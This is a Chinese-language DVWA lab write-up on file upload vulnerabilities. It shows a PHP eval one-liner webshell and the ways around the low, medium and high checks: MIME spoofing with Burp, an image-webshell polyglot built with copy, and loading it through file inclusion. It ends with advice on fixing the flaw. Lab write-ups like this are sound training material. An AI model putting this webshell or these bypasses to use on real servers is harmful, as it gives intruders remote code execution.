DVWA--file upload (文件上传)
风险
对上传的文件类型,内容没有进行严格的过滤、检查,使攻击者可以上传木马获取服务器webshell权限。
low
查看代码,对上传文件没有做任何的过滤措施 basename(path,suffix)函数: 全局数组 $_FILES: move_uploaded_file() 函数:
1. 写一句话木马1.php上传
<?php @eval($_POST[hello]); ?>
2. 上传成功,给出了上传文件路径,访问获取到上传文件路径
http://127.0.0.1/DVWA-master/hackable/uploads/1.php
3. 使用蚁剑连接一句话木马,连接成功
medium
查看代码:增加了MIME校验,只允许上传MIME类型(Content-Type请求头)为image/jpeg或image/png的文件。 1. 直接上传1.php,提示上传失败,只能上传文件类型为JPEG和PNG格式的文件 2. 将1.php文件后缀名改为.png(或.image),上传1.png文件并用burp抓包,将包发到repeater 3. 在repeater中修改filename参数值从sh.png修改为sh.php,点send,从response中可以看到文件上传成功,并返回了保存路径。 4. 蚁剑连接一句话木马,连接成功
high
查看代码,是通过字符串匹配来确定文件后缀名,并且查看文件的相关参数,提高了过滤的强度。 substr () 函数: strrpos () 函数: strtolower () 函数: getimagesize 函数:
1. 由于源码会去检查文件头,php文件上传不成功 2. 制作图马文件,把一句话木马放在一张图片中(可以绕过 getimagesize 函数的检测)
copy 1.png/b+1.php/a 2.png
3. 然后直接上传,网页提示上传成功。 4. 绕过对后缀的检测,这里暂时无法绕过检测,可借助 文件包含或者命令执行漏洞 来进一步 Getshell 下面演示文件包含漏洞
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://D:/AAAARJ/phpStudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/2.png
5. 蚁剑连接一句话木马,连接成功
修复
-
不要在前端使用JS实施上传限制策略; 通过服务端对上传文件进行限制: (1)进行多条件组合检查:比如文件大小,路径,扩展名,文件类型,完整性; (2)对上传的文件在服务器上存储时进行重命名(执行合理的命名规则); (3)对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害;
炒鸡详细文件上传漏洞总结: